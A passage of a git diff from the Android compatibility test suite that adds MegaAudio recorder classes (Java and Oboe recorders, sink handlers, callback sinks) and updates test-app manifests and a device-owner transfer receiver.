+    }
+
+    @Override
+    public int getNumBufferFrames() {
+        return mNumBuffFrames;
+    }
+
+    /*
+     * Recorder Thread
+     */
+    /**
+     * Implements the <code>run</code> method for the record thread.
+     * Starts the AudioRecord, then continuously reads audio data
+     * until the flag <code>mRecording</code> is set to false (in the stop() method).
+     */
+    private class RecorderRunnable implements Runnable {
+        @Override
+        public void run() {
+            final int numBurstSamples = mNumBuffFrames * mChannelCount;
+            int numReadSamples = 0;
+            while (mRecording) {
+                numReadSamples = mAudioRecord.read(
+                        mRecorderBuffer, 0, numBurstSamples, AudioRecord.READ_BLOCKING);
+
+                if (numReadSamples < 0) {
+                    // error
+                    if (LOG) {
+                        Log.e(TAG, "AudioRecord write error: " + numReadSamples);
+                    }
+                    stopStream();
+                } else if (numReadSamples < numBurstSamples) {
+                    // got less than requested?
+                    if (LOG) {
+                        Log.e(TAG, "AudioRecord Underflow: " + numReadSamples +
+                                " vs. " + numBurstSamples);
+                    }
+                    stopStream();
+                }
+
+                if (mListener != null) {
+                    // TODO: on error or underrun we may be send bogus data.
+                    mListener.sendEmptyMessage(JavaSinkHandler.MSG_BUFFER_FILL);
+                }
+            }
+
+            if (mListener != null) {
+                // TODO: on error or underrun we may be send bogus data.
+                Message message = new Message();
+                message.what = JavaSinkHandler.MSG_STOP;
+                message.arg1 = numReadSamples;
+                mListener.sendMessage(message);
+            }
+            mAudioRecord.stop();
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
new file mode 100644
index 0000000..58c1ebe
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/JavaSinkHandler.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.hyphonate.megaaudio.recorder;
+
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+
+/**
+ * Defines a super-class for apps to receive notifications of recording events. Concrete
+ * subclasses need to implement the <code>handleMessage(Message)</code> method.
+ */
+public class JavaSinkHandler extends Handler {
+    @SuppressWarnings("unused") private static final String TAG = JavaSinkHandler.class.getSimpleName();
+    @SuppressWarnings("unused") private static final boolean LOG = false;
+
+    protected JavaRecorder mRecorder;
+
+    private AudioSink mSink = null;
+
+    public JavaSinkHandler(JavaRecorder recorder, AudioSink sink, Looper looper) {
+        super(looper);
+        mRecorder = recorder;
+        mSink = sink;
+    }
+
+    /**
+     * Recording Event IDs.
+     */
+    /** Sent when recording has started */
+    public static final int MSG_START = 0;
+    /** Sent when a recording buffer has been filled */
+    public static final int MSG_BUFFER_FILL = 1;
+    /** Sent when recording has been stopped */
+    public static final int MSG_STOP = 2;
+
+    @Override
+    public void handleMessage (Message msg) {
+        switch (msg.what) {
+            case MSG_START:
+                if (mSink != null) {
+                    mSink.start();
+                }
+                break;
+
+            case MSG_BUFFER_FILL:
+                if (mSink != null) {
+                    mSink.push(mRecorder.getDataBuffer(),
+                            mRecorder.getNumBufferFrames(), mRecorder.getChannelCount());
+                }
+                break;
+
+            case MSG_STOP:
+                if (mSink != null) {
+                    // arg1 has the number of samples from the last read.
+                    mSink.stop(msg.arg1);
+                }
+                break;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java
new file mode 100644
index 0000000..ded8ca2
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public class NativeAudioSink extends AudioSink {
+    private long mNativeSinkPtr;
+
+    public NativeAudioSink(long nativeSinkPtr) {
+        mNativeSinkPtr = nativeSinkPtr;
+    }
+
+    // Use this to call the AudioSource methods in C++ directly
+    public long getNativeObject() { return mNativeSinkPtr; }
+
+    @Override
+    public void init(int numFrames, int numChans) {
+        initN(mNativeSinkPtr, numFrames, numChans);
+    }
+
+    @Override
+    public void start() {
+        startN(mNativeSinkPtr);
+    }
+
+    @Override
+    public void stop(int lastBufferFrames) {
+        stopN(mNativeSinkPtr);
+    }
+
+    @Override
+    public void push(float[] audioData, int numFrames, int numChans) {
+        pushN(mNativeSinkPtr, audioData, numFrames, numChans);
+    }
+
+    private native void initN(long nativeSinkPtr, int numFrames, int numChans);
+    private native void startN(long nativeSinkPtr);
+    private native void stopN(long nativeSinkPtr);
+    private native void pushN(long nativeSinkPtr, float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java
new file mode 100644
index 0000000..bb8e05d
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public class OboeRecorder extends Recorder {
+    private int mRecorderSubtype;
+    private long mNativeRecorder;
+
+    public OboeRecorder(AudioSinkProvider sinkProvider, int subType) {
+        super(sinkProvider);
+
+        mRecorderSubtype = subType;
+        mNativeRecorder = allocNativeRecorder(sinkProvider.allocNativeSink().getNativeObject(), mRecorderSubtype);
+    }
+
+    //
+    // Attributes
+    //
+    @Override
+    public int getNumBufferFrames() {
+        return getNumBufferFramesN(mNativeRecorder);
+    }
+
+    @Override
+    public void setInputPreset(int preset) {
+        setInputPresetN(mNativeRecorder, preset);
+    }
+
+    @Override
+    public int getRoutedDeviceId() { return getRoutedDeviceIdN(mNativeRecorder); }
+
+    //
+    // State
+    //
+    @Override
+    public boolean isRecording() {
+        return isRecordingN(mNativeRecorder);
+    }
+
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        return setupStreamN(mNativeRecorder, channelCount, sampleRate,
+                mRouteDevice == null ? -1 : mRouteDevice.getId());
+    }
+
+    @Override
+    public int teardownStream() {
+        int errCode = teardownStreamN(mNativeRecorder);
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        return errCode;
+    }
+
+    @Override
+    public int startStream() {
+        return startStreamN(mNativeRecorder, mRecorderSubtype);
+    }
+
+    @Override
+    public int stopStream() {
+        return stopN(mNativeRecorder);
+    }
+
+    private native long allocNativeRecorder(long nativeSink, int recorderSubtype);
+
+    private native boolean isRecordingN(long nativeRecorder);
+
+    private native int getBufferFrameCountN(long nativeRecorder);
+    private native void setInputPresetN(long nativeRecorder, int inputPreset);
+
+    private native int getRoutedDeviceIdN(long nativeRecorder);
+
+    private native int setupStreamN(long nativeRecorder, int channelCount, int sampleRate, int routeDeviceId);
+    private native int teardownStreamN(long nativeRecorder);
+
+    private native int startStreamN(long nativeRecorder, int recorderSubtype);
+
+    private native int stopN(long nativeRecorder);
+
+    private native int getNumBufferFramesN(long nativeRecorder);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
new file mode 100644
index 0000000..004ef1b
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+
+import org.hyphonate.megaaudio.common.StreamBase;
+
+public abstract class Recorder extends StreamBase {
+    protected AudioSinkProvider mSinkProvider;
+
+    // This value is to indicate that no explicit call to set an input preset in the builder
+    // will be made.
+    // Constants can be found here:
+    // https://developer.android.com/reference/android/media/MediaRecorder.AudioSource
+    public static final int INPUT_PRESET_NONE = -1;
+
+    public Recorder(AudioSinkProvider sinkProvider) {
+        mSinkProvider = sinkProvider;
+    }
+    public abstract void setInputPreset(int preset);
+
+    /*
+     * State
+     */
+    public abstract boolean isRecording();
+
+    /*
+     * Utilities
+     */
+    public static final int AUDIO_CHANNEL_COUNT_MAX = 30;
+
+    public static final int AUDIO_CHANNEL_REPRESENTATION_POSITION   = 0x0;
+    public static final int AUDIO_CHANNEL_REPRESENTATION_INDEX      = 0x2;
+
+    //
+    // Attributes
+    //
+    // This needs to be static because it is called before creating the Recorder subclass
+    public static int calcMinBufferFrames(int channelCount, int sampleRate) {
+        int channelMask = Recorder.channelCountToChannelMask(channelCount);
+        int bufferSizeInBytes =
+                AudioRecord.getMinBufferSize (sampleRate,
+                        channelMask,
+                        AudioFormat.ENCODING_PCM_FLOAT);
+        return bufferSizeInBytes / sampleSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT);
+    }
+
+    /*
+     * Channel Utils
+     */
+    // TODO - Consider moving these into a "Utilities" library
+//    /**
+//     * @param chanCount The number of channels for which to generate an index mask.
+//     * @return  A channel index mask corresponding to the supplied channel count.
+//     *
+//     * @note The generated index mask has active channels from 0 to chanCount - 1
+//     */
+//    public static int countToIndexMask(int chanCount) {
+//        return  (1 << chanCount) - 1;
+//    }
+
+    /* Not part of public API */
+    private static int audioChannelMaskFromRepresentationAndBits(int representation, int bits)
+    {
+        return ((representation << AUDIO_CHANNEL_COUNT_MAX) | bits);
+    }
+
+    /* Derive a channel mask for index assignment from a channel count.
+     * Returns the matching channel mask,
+     * or AUDIO_CHANNEL_NONE if the channel count is zero,
+     * or AUDIO_CHANNEL_INVALID if the channel count exceeds AUDIO_CHANNEL_COUNT_MAX.
+     */
+    private static int audioChannelMaskForIndexAssignmentFromCount(int channel_count)
+    {
+        if (channel_count == 0) {
+            return 0; // AUDIO_CHANNEL_NONE
+        }
+        if (channel_count > AUDIO_CHANNEL_COUNT_MAX) {
+            return AudioFormat.CHANNEL_INVALID;
+        }
+        int bits = (1 << channel_count) - 1;
+        return audioChannelMaskFromRepresentationAndBits(AUDIO_CHANNEL_REPRESENTATION_INDEX, bits);
+    }
+
+    /**
+     * @param channelCount  The number of channels for which to generate an input position mask.
+     * @return An input channel-position mask corresponding the supplied number of channels.
+     */
+    public static int channelCountToChannelMask(int channelCount) {
+        int bits;
+        switch (channelCount) {
+            case 1:
+                bits = AudioFormat.CHANNEL_IN_MONO;
+                break;
+
+            case 2:
+                bits = AudioFormat.CHANNEL_IN_STEREO;
+                break;
+
+            case 3:
+            case 4:
+            case 5:
+            case 6:
+            case 7:
+            case 8:
+                // FIXME FCC_8
+                return audioChannelMaskForIndexAssignmentFromCount(channelCount);
+
+            default:
+                return AudioFormat.CHANNEL_INVALID;
+        }
+
+        return audioChannelMaskFromRepresentationAndBits(AUDIO_CHANNEL_REPRESENTATION_POSITION, bits);
+    }
+
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
new file mode 100644
index 0000000..737dfb8
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+import android.media.AudioDeviceInfo;
+
+import org.hyphonate.megaaudio.common.BuilderBase;
+
+public class RecorderBuilder extends BuilderBase {
+
+    private AudioSinkProvider mSinkProvider;
+
+    private int mInputPreset = Recorder.INPUT_PRESET_NONE;
+
+    public RecorderBuilder() {
+
+    }
+
+    public RecorderBuilder setRecorderType(int type) {
+        mType = type;
+        return this;
+    }
+
+    public RecorderBuilder setAudioSinkProvider(AudioSinkProvider sinkProvider) {
+        mSinkProvider = sinkProvider;
+        return this;
+    }
+
+    public RecorderBuilder setInputPreset(int inputPreset) {
+        mInputPreset = inputPreset;
+        return this;
+    }
+
+    public Recorder build() throws BadStateException {
+        if (mSinkProvider == null) {
+            throw new BadStateException();
+        }
+
+        Recorder recorder = null;
+        int playerType = mType & TYPE_MASK;
+        switch (playerType) {
+            case TYPE_NONE:
+                // NOP
+                break;
+
+            case TYPE_JAVA:
+                recorder = new JavaRecorder(mSinkProvider);
+                break;
+
+            case TYPE_OBOE:{
+                int recorderSubType = mType & SUB_TYPE_MASK;
+                recorder = new OboeRecorder(mSinkProvider, recorderSubType);
+            }
+            break;
+
+            default:
+                throw new BadStateException();
+        }
+
+        return recorder;
+    }
+
+    public class BadStateException extends Throwable {
+
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallback.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallback.java
new file mode 100644
index 0000000..3c7e7be
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallback.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+public interface AppCallback {
+    void onDataReady(float[] audioData, int numFrames);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
new file mode 100644
index 0000000..2d9d17e
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+import org.hyphonate.megaaudio.recorder.AudioSink;
+
+public class AppCallbackAudioSink extends AudioSink {
+    private static final String TAG = AppCallbackAudioSink.class.getSimpleName();
+
+    private AppCallback mCallback;
+
+    public AppCallbackAudioSink(AppCallback callback) {
+        mCallback = callback;
+    }
+
+    @Override
+    public void push(float[] audioData, int numFrames, int numChans) {
+        mCallback.onDataReady(audioData, numFrames);
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
new file mode 100644
index 0000000..9d275c8
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+import org.hyphonate.megaaudio.recorder.AudioSink;
+import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.NativeAudioSink;
+
+public class AppCallbackAudioSinkProvider implements AudioSinkProvider {
+    private AppCallback mCallbackObj;
+    private long mOboeSinkObj;
+
+    public AppCallbackAudioSinkProvider(AppCallback callback) {
+        mCallbackObj = callback;
+    }
+
+    public AudioSink allocJavaSink() {
+        return new AppCallbackAudioSink(mCallbackObj);
+        // return allocNativeSink();
+    }
+
+    @Override
+    public NativeAudioSink allocNativeSink() {
+        return new NativeAudioSink(mOboeSinkObj = allocOboeSinkN(mCallbackObj));
+    }
+
+    private native long allocOboeSinkN(AppCallback callbackObj);
+
+    public void releaseJNIResources() {
+        releaseJNIResourcesN(mOboeSinkObj);
+    }
+
+    private native void releaseJNIResourcesN(long oboeSink);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
new file mode 100644
index 0000000..7a29e33
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+import org.hyphonate.megaaudio.recorder.AudioSink;
+
+public class NopAudioSink extends AudioSink {
+    @Override
+    public void push(float[] audioData, int numFrames, int numChannels) {
+        // NOP
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
new file mode 100644
index 0000000..efddc88
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+import org.hyphonate.megaaudio.recorder.AudioSink;
+import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.NativeAudioSink;
+
+public class NopAudioSinkProvider implements AudioSinkProvider {
+    @Override
+    public AudioSink allocJavaSink() {
+        return new NopAudioSink();
+    }
+
+    @Override
+    public NativeAudioSink allocNativeSink() {
+        //||| TODO - implement this
+        return null;
+    }
+}
diff --git a/apps/CtsVerifierUSBCompanion/AndroidManifest.xml b/apps/CtsVerifierUSBCompanion/AndroidManifest.xml
index 594f4ee..e6bcb79 100644
--- a/apps/CtsVerifierUSBCompanion/AndroidManifest.xml
+++ b/apps/CtsVerifierUSBCompanion/AndroidManifest.xml
@@ -16,32 +16,35 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.verifierusbcompanion">
+     package="com.android.cts.verifierusbcompanion">
 
-    <uses-sdk android:minSdkVersion="12" android:targetSdkVersion="25" />
+    <uses-sdk android:minSdkVersion="12"
+         android:targetSdkVersion="25"/>
 
-    <uses-feature android:name="android.hardware.usb.accessory" />
-    <uses-feature android:name="android.hardware.usb.host" />
+    <uses-feature android:name="android.hardware.usb.accessory"/>
+    <uses-feature android:name="android.hardware.usb.host"/>
 
     <application android:label="@string/app_name"
-            android:icon="@drawable/icon">
+         android:icon="@drawable/icon">
 
         <activity android:name=".Main"
-                android:screenOrientation="portrait"
-                android:configChanges="orientation|keyboardHidden">
+             android:screenOrientation="portrait"
+             android:configChanges="orientation|keyboardHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name=".AccessoryAttachmentHandler">
+        <activity android:name=".AccessoryAttachmentHandler"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
+                <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED"/>
             </intent-filter>
 
             <meta-data android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED"
-                    android:resource="@xml/accessory_filter" />
+                 android:resource="@xml/accessory_filter"/>
         </activity>
     </application>
 </manifest>
diff --git a/apps/EmptyDeviceAdmin/AndroidManifest.xml b/apps/EmptyDeviceAdmin/AndroidManifest.xml
index 2ee9422..3683f9e 100644
--- a/apps/EmptyDeviceAdmin/AndroidManifest.xml
+++ b/apps/EmptyDeviceAdmin/AndroidManifest.xml
@@ -15,19 +15,18 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.emptydeviceadmin" >
+     package="com.android.cts.emptydeviceadmin">
 
     <uses-sdk android:minSdkVersion="12"/>
 
     <application android:label="Test Device Admin">
-        <receiver
-            android:name=".EmptyDeviceAdmin"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data
-                android:name="android.app.device_admin"
-                android:resource="@xml/device_admin"/>
+        <receiver android:name=".EmptyDeviceAdmin"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
diff --git a/apps/EmptyDeviceOwner/Android.bp b/apps/EmptyDeviceOwner/Android.bp
index e811db0..86c0559 100644
--- a/apps/EmptyDeviceOwner/Android.bp
+++ b/apps/EmptyDeviceOwner/Android.bp
@@ -20,8 +20,9 @@
     name: "CtsEmptyDeviceOwner",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
+    static_libs: ["compatibility-device-util-axt"],
     resource_dirs: ["res"],
-    sdk_version: "current",
+    sdk_version: "test_current",
     min_sdk_version: "12",
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/apps/EmptyDeviceOwner/AndroidManifest.xml b/apps/EmptyDeviceOwner/AndroidManifest.xml
index d6a97eb..a231992 100644
--- a/apps/EmptyDeviceOwner/AndroidManifest.xml
+++ b/apps/EmptyDeviceOwner/AndroidManifest.xml
@@ -15,27 +15,35 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.emptydeviceowner" >
+     package="com.android.cts.emptydeviceowner">
 
     <uses-sdk android:minSdkVersion="12"/>
 
-    <application android:label="Test Device Owner" android:testOnly="true">
-        <receiver
-            android:name=".EmptyDeviceAdmin"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data
-                android:name="android.app.device_admin"
-                android:resource="@xml/device_admin"/>
+    <application android:label="Test Device Owner"
+         android:testOnly="true">
+        <receiver android:name=".EmptyDeviceAdmin"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <receiver android:name=".DeviceOwnerChangedReceiver">
+        <receiver android:name=".DeviceOwnerChangedReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_OWNER_CHANGED"/>
             </intent-filter>
         </receiver>
 
+        <!-- TODO(b/179100903): temporarily receiver until DPMS automatically transfers PO on
+              headless system user mode -->
+        <receiver android:name=".ProfileOwnerChangedReceiver" android:exported="true">
+            <intent-filter>
+                <action android:name="android.app.action.PROFILE_OWNER_CHANGED"/>
+            </intent-filter>
+        </receiver>
     </application>
 </manifest>
diff --git a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java
index 8f0732e..fbd1c86 100644
--- a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java
+++ b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java
@@ -22,23 +22,29 @@
 import android.content.Intent;
 import android.util.Log;
 
-public class DeviceOwnerChangedReceiver extends DeviceAdminReceiver {
+public final class DeviceOwnerChangedReceiver extends DeviceAdminReceiver {
 
-	@Override
-	public void onReceive(Context context, Intent intent) {
-		Log.d("DeviceOwnerChangedReceiver", "device owner is changed.");
-		if (!DevicePolicyManager.ACTION_DEVICE_OWNER_CHANGED.equals(intent.getAction())) {
-			return;
-		}
-		DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
-		if (!dpm.isDeviceOwnerApp(context.getPackageName())) {
-			return;
-		}
-		Log.d("DeviceOwnerChangedReceiver", "transferring ownership to CtsVerifier");
-		dpm.transferOwnership(
-			EmptyDeviceAdmin.getComponentName(context),
-			new ComponentName("com.android.cts.verifier",
-				"com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver"),
-			null);
-	}
+    private static final String TAG = DeviceOwnerChangedReceiver.class.getSimpleName();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(user " + context.getUserId() + "): action=" + action);
+        if (!DevicePolicyManager.ACTION_DEVICE_OWNER_CHANGED.equals(action)) {
+            Log.e(TAG, "Received invalid intent: " + intent);
+            return;
+        }
+        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+        String packageName = context.getPackageName();
+        if (!dpm.isDeviceOwnerApp(packageName)) {
+            Log.w(TAG, packageName + " is not the device owner");
+            return;
+        }
+        ComponentName newAdmin = new ComponentName("com.android.cts.verifier",
+        "com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver");
+        Log.d(TAG, "transferring ownership to " + newAdmin);
+        dpm.transferOwnership(EmptyDeviceAdmin.getComponentName(context), newAdmin,
+                /* bundle= */ null);
+        Log.d(TAG, "ownership transferred to " + newAdmin.flattenToShortString());
+    }
 }
diff --git a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java
index 90ee252..815d0b9 100644
--- a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java
+++ b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java
